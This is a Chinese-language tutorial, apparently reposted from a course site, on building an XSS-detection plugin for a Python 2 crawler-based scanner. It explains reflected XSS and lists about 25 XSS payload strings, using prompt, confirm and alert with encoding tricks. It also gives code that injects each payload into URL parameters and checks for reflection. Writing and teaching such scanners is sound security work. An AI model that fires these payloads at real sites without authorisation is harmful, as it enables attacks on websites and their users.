Python打造漏洞掃描器 3


基於爬蟲開發XSS檢測插件

一、實驗說明

1.1 實驗內容

本節課會基於上節課開發的插件框架,講解xss漏洞形成的原理,據此編寫一個簡單的XSS檢測插件,先上效果圖。

xss插件效果圖

1.2 實驗知識點

  • XSS基礎知識
  • XSS檢測原理

1.3 實驗環境

  • Python 2.7
  • Xfce終端
  • sublime

1.4 適合人群

本課程難度為一般,屬於中級級別課程,適合具有Python基礎的用戶,熟悉python基礎知識加深鞏固。

1.5 代碼獲取

你可以通過下面命令將代碼下載到實驗樓環境中,作為參照對比進行學習。

$ wget http://labfile.oss.aliyuncs.com/courses/761/shiyanlouscan3.zip
$ unzip shiyanlouscan3.zip

二、開發准備

xss攻擊原理

什么是XSS

跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。

為什么要打造這個檢測程序?

  1. XSS很少有自動化工具可以對其進行攻擊檢測
  2. 很難發現

敲黑板!!

但是大家不要高興的太早,我們這篇xss檢測程序是很原始很初級的自動化檢測,只能檢測一部分xss漏洞,但沒關系,我們先做出雛形,在后期維護的時候慢慢增強這個功能。

三、實驗步驟

3.1 上節回顧

在上節課中,我們基於爬蟲系統開發出了插件系統,這個系統會非常方便的把爬取出來的鏈接傳遞到插件系統中,·還記得怎么編寫嗎?我們只需要一個框架:

import re,random
from lib.core import Download
class spider:
def run(self,url,html):
pass

然后將運行函數寫到run函數里面就可以了,url,html是插件系統傳遞過來的鏈接和鏈接的網頁源碼。

3.2 XSS檢測原理:

我們這里先做個很簡單的xss原理檢測工具,也很簡單,就是通過一些xss的payload加入到url參數中,然后查找url的源碼中是否存在這個參數,存在則可以證明頁面存在xss漏洞了。

payload list:

</script>"><script>prompt(1)</script>
</ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>
"><img src=x onerror=prompt(1)>
"><svg/onload=prompt(1)>
"><iframe/src=javascript:prompt(1)>
"><h1 onclick=prompt(1)>Clickme</h1>
"><a href=javascript:prompt(1)>Clickme</a>
"><a href="javascript:confirm%28 1%29">Clickme</a>
"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
"><textarea autofocus onfocus=prompt(1)>
"><a/href=javascript&colon;co\u006efir\u006d&#40;&quot;1&quot;&#41;>clickme</a>
"><script>co\u006efir\u006d`1`</script>
"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
"><img src=x onerror=co\u006efir\u006d`1`>
"><svg/onload=co\u006efir\u006d`1`>
"><iframe/src=javascript:co\u006efir\u006d%28 1%29>
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
"><a href=javascript:prompt%28 1%29>Clickme</a>
"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
"><textarea autofocus onfocus=co\u006efir\u006d(1)>
"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
"><img/src=x%0Aonerror=prompt`1`>
"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;">
"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>

3.3 可能大家會問為什么這樣就可以檢測xss

答:xss原理是把輸入的代碼當作html執行了,執行了就會在網頁源碼中顯示,所以我們查找就行。

3.4 xss就這么簡單?

錯,xss有各種各樣的玩法,本文只是一個簡單的工具,用作拋磚引玉。

3.5 代碼編寫

為了以后代碼編寫的方便,我們編寫一個函數取出url中的參數,

比如https://www.shiyanlou.com/courses/?a=1&b=2&c=3 。

我們要將 1 2 3 都取出來進行替換,所以我們先創建一個公共函數來分割這些文本。

在文件 lib/core/common.py 中

def urlsplit(url):
domain = url.split("?")[0]
_url = url.split("?")[-1]
pararm = {}
for val in _url.split("&"):
pararm[val.split("=")[0]] = val.split("=")[-1]

#combine
urls = []
for val in pararm.values():
new_url = domain + _url.replace(val,"my_Payload")
urls.append(new_url)
return urls

這個函數會返回一個元祖將每個參數用my_Payload標記,到時候我們替換這個參數就行了。

然后編寫我們的xss檢查程序,這個程序也是一個基於爬蟲的框架。

3.6 開始之前

開始之前現在目錄新建一個data文件夾,這個文件夾用於存儲我們的一些數據。

然后把xss payload放入進入,命名的話隨意,這里我就命名為xss.txt, 內容為之前的xss payload list。

3.7 xss檢測程序代碼

script目錄下新建文件xss_check.py

代碼如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

from lib.core import Download,common
import sys,os

payload = []
filename = os.path.join(sys.path[0],"data","xss.txt")
f = open(filename)
for i in f:
payload.append(i.strip())

class spider():
def run(self,url,html):
download = Download.Downloader()
urls = common.urlsplit(url)

if urls is None:
return False
for _urlp in urls:
for _payload in payload:
_url = _urlp.replace("my_Payload",_payload)
print "[xss test]:",_url
#我們需要對URL每個參數進行拆分,測試
_str = download.get(_url)
if _str is None:
return False
if(_str.find(_payload)!=-1):
print "xss found:%s"%url
return False

效果圖:

此處輸入圖片的描述

payload = []
filename = os.path.join(sys.path[0],"data","xss.txt")
f = open(filename)
for i in f:
payload.append(i.strip())

這行代碼主要實現了讀取我們的xsspayload文件。

因為文件是在windows下生成的,所以我們要對每行用strip()過濾下\n 空格等的特殊符號。接下來的代碼就是xss檢測的運行流程了,獲取到url,拆分url,對每個url拆分參數進入注入分析,成功就返回出來。一個很簡單的思路。

此處輸入圖片的描述


注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
粤ICP备14056181号  © 2014-2021 ITdaan.com